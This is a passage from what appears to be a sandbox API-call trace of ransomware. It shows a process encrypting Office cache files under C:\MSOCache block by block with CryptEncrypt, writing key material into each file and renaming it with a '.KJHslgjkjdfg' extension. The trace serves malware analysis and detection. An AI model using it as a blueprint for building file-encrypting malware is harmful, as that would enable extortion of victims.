dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.877] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.898] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.901] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.901] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.903] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.903] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.903] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.909] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.912] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.912] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.914] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.914] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.914] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1a41cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.914] SetEndOfFile (hFile=0x124) returned 1 [0164.919] GetProcessHeap () returned 0x2ef0000 [0164.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.919] GetProcessHeap () returned 0x2ef0000 [0164.919] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.919] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.kjhslgjkjdfg")) returned 1 [0164.921] CloseHandle (hObject=0x124) returned 1 [0164.921] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPlusrWW.xml", cAlternateFileName="PROPLU~1.XML")) returned 1 [0164.921] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.921] GetProcessHeap () returned 0x2ef0000 [0164.921] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.921] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.921] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0164.921] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xc, lpOverlapped=0x0) returned 1 [0164.931] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.931] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.931] GetProcessHeap () returned 0x2ef0000 [0164.931] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.931] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0164.931] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.931] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.932] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0164.932] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0164.932] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.932] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x41d4, lpOverlapped=0x0) returned 1 [0164.933] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x41e0) returned 1 [0164.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x41e0, lpOverlapped=0x0) returned 1 [0164.934] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.934] SetEndOfFile (hFile=0x124) returned 1 [0164.934] GetProcessHeap () returned 0x2ef0000 [0164.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0164.935] GetProcessHeap () returned 0x2ef0000 [0164.935] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0164.935] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.kjhslgjkjdfg")) returned 1 [0164.937] CloseHandle (hObject=0x124) returned 1 [0164.938] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x262b2700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x262b2700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x1ffd0c0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xa97cbdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW.cab", cAlternateFileName="")) returned 1 [0164.938] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0164.939] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=177720283) returned 1 [0164.939] GetProcessHeap () returned 0x2ef0000 [0164.939] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0164.939] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0164.939] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.939] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x5, lpOverlapped=0x0) returned 1 [0164.948] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.948] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.948] GetProcessHeap () returned 0x2ef0000 [0164.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0164.948] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0164.948] CryptDestroyKey (hKey=0x2f18208) returned 1 [0164.948] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0164.948] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0164.948] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0164.948] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0164.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0164.948] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0164.948] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0164.949] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0164.949] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.949] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.957] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.967] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.967] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.968] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.968] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.968] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.969] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0164.977] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0164.981] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.981] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0164.982] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.982] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0164.983] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0164.983] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0165.007] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0165.009] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa93cbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.009] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0165.009] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.009] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0165.009] CryptDestroyKey (hKey=0x2f18208) returned 1 [0165.010] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xa97ccb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.010] SetEndOfFile (hFile=0x124) returned 1 [0165.013] GetProcessHeap () returned 0x2ef0000 [0165.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0165.013] GetProcessHeap () returned 0x2ef0000 [0165.013] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0165.013] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.kjhslgjkjdfg")) returned 1 [0165.014] CloseHandle (hObject=0x124) returned 1 [0165.014] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0165.014] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0165.017] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=222948913) returned 1 [0165.017] GetProcessHeap () returned 0x2ef0000 [0165.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0165.017] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0165.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.017] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0xf, lpOverlapped=0x0) returned 1 [0165.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0165.024] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0165.024] GetProcessHeap () returned 0x2ef0000 [0165.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0165.024] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0165.024] CryptDestroyKey (hKey=0x2f18208) returned 1 [0165.024] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0165.024] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0165.024] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0165.024] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0165.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0165.024] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0165.025] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0165.025] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0165.025] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0165.025] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0165.035] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0165.038] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.038] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: 